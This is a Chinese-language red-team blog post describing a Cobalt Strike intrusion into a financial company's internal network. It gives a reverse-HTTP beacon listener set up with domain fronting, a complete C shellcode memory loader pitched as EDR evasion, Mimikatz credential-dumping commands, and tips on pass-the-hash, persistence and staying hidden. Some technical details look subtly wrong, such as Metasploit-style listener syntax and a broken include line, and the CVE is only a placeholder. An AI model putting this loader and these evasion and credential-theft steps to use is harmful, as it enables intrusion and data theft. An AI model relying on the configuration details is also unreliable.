一、一次特殊的内网渗透任务

还记得那是一个典型的周三下午,我的团队接到了一项特别的授权渗透任务:目标是某大型金融企业,拥有复杂的内网环境和多层防护机制。任务的最终目标是通过内网渗透,获取核心财务数据库的访问权限。根据前期的情报分析,该目标使用了主流的Windows域环境,同时搭载了强大的EDR(Endpoint Detection and Response)防护系统,直接攻击的风险极高。

为此,我们决定使用Cobalt Strike作为核心框架,结合定制的免杀Payload,实现隐蔽上线并逐步渗透内网。本文将完整拆解这个案例,从Payload生成到隐蔽上线,再到后续的横向移动和数据窃取,带你感受一次真实的红队实战。

---

二、从外网到内网,如何突破第一道防线

信息收集与目标选择

在渗透行动中,信息收集是最重要的环节。根据OSINT(公开情报收集),我们发现目标企业的邮件系统暴露在外网,且使用了一个存在已知漏洞的WebMail服务。通过进一步探测和验证,我们确认该漏洞为CVE-2022-XXXX,一个远程代码执行漏洞。

利用该漏洞,我们成功在邮件服务器上执行了第一段代码,获得一个低权限WebShell。这为我们下一步的内网渗透提供了一个落脚点——但还远远不够,因为目标的关键数据库并不在这台服务器上。

黑客示意图

---

三、Payload构造的艺术:如何绕过EDR上线

Cobalt Strike Listener配置

首先,我们需要在Cobalt Strike中搭建一个Listener,用来接收目标机器的连接。这里选择HTTP模式,并通过域前置(Domain Fronting)技术对流量进行伪装,以降低被检测的风险。以下是Listener的关键配置:

<pre><code class="language-shell"># 在Cobalt Strike中设置HTTP Listener set Payload windows/beacon_http/reverse_http set LHOST &lt;你的C2服务器IP&gt; set LPORT 443 set HostHeader &lt;前置域名&gt;</code></pre>

注意:域前置是通过伪装流量的请求头,让目标以为它是访问合法域名,从而绕过部分防火墙策略。选择的伪装域名应与目标业务相关,比如使用常见的CDN服务商域名。

自定义Payload免杀

由于目标部署了强大的EDR,我们需要对生成的Payload进行深度免杀处理。这里使用了一些常见的免杀技术,包括混淆、加壳,以及内存加载技术。以下是一个使用C语言实现的内存加载器代码:

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;stdio.h&gt;

void ExecuteShellcode(char* shellcode, SIZE_T shellcodeSize) { // 分配内存,RWX权限 LPVOID execMem = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (execMem == NULL) { printf(&quot;Memory allocation failed.\n&quot;); return; }

黑客示意图

// 将Payload拷贝到指定内存区域 memcpy(execMem, shellcode, shellcodeSize);

// 创建一个新的线程来执行Payload HANDLE threadHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL); if (threadHandle == NULL) { printf(&quot;CreateThread failed.\n&quot;); return; }

// 等待线程执行完成 WaitForSingleObject(threadHandle, INFINITE); }

int main() { // 这是你的Payload,替换为Cobalt Strike生成的Shellcode unsigned char shellcode[] = &quot;YOUR_SHELLCODE_HERE&quot;; SIZE_T shellcodeSize = sizeof(shellcode);

ExecuteShellcode(shellcode, shellcodeSize); return 0; }</code></pre>

关键免杀点

  1. 使用动态分配内存的方式执行Shellcode,而不是直接调用WinExecCreateProcess
  2. 通过API混淆和内联汇编进一步隐藏关键行为。
  3. 编译时使用定制的编译器参数,避免特征被静态检测工具捕获。

---

四、隐蔽上线:如何不被发现

流量伪装

上线成功与否的关键,在于是否能绕过目标的网络监控。为了实现流量伪装,我们在Cobalt Strike中启用了HTTP流量混淆功能,并自定义了HTTP请求头,伪装成合法的第三方应用流量:

<pre><code class="language-json">{ &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36&quot;, &quot;Accept&quot;: &quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8&quot;, &quot;Accept-Language&quot;: &quot;en-US,en;q=0.5&quot;, &quot;Referer&quot;: &quot;https://www.google.com&quot; }</code></pre>

除此之外,我们还通过分段传输的方式,将Payload拆分成多个小块,分批发送到目标。这种方式可以有效降低大Payload被网络分析工具识别的概率。

---

五、后续渗透:横向移动与数据窃取

成功上线后,我们获得了目标邮件服务器的SYSTEM权限。接下来,任务的重点转移到如何横向移动,更深入地控制目标的内网环境。

内网探测

通过Beacon模块,我们首先对内网环境进行了扫描,发现同一网段内还有一台Windows服务器,并且开启了445和3389端口。通过尝试默认密码,我们迅速猜解了其中一个弱口令账户,并成功登录。

凭据窃取

利用Mimikatz工具,我们提取了目标服务器上的所有账户凭据。以下是相关命令:

<pre><code class="language-shell">privilege::debug sekurlsa::logonpasswords</code></pre>

从提取的凭据中,我们找到了一个域管理员账号,并通过Pass-the-Hash技术,在整个内网中实现了横向移动。

黑客示意图

---

六、绕过防护的技巧与总结

在整个渗透过程中,目标企业的EDR和防火墙给我们制造了不少麻烦,但通过下面这些技巧,我们成功规避了大部分威胁:

黑客示意图

  1. Payload定制化:通过混淆和加壳技术,绕过了EDR的静态检测。
  2. 流量伪装:利用域前置和分段传输技术,隐藏了C2流量特征。
  3. 权限维持:上线后,通过创建计划任务和注册表启动项,实现了持久化。

---

七、经验分享:如何让你的攻击更隐蔽

  1. 计划周密:在渗透前,充分的情报收集和环境分析是成功的基础。
  2. 工具定制:不要完全依赖公开工具,任何Payload都需要根据目标定制化处理。
  3. 与时俱进:安全行业的对抗是动态的,及时学习新技术、新漏洞,是每个红队成员的必修课。

最后重申:本文所有技术仅限授权环境下使用,切勿用于非法用途。希望这次案例分享,能帮助你更好地理解Cobalt Strike的强大之处,以及如何合理运用这些技术进行专业渗透测试。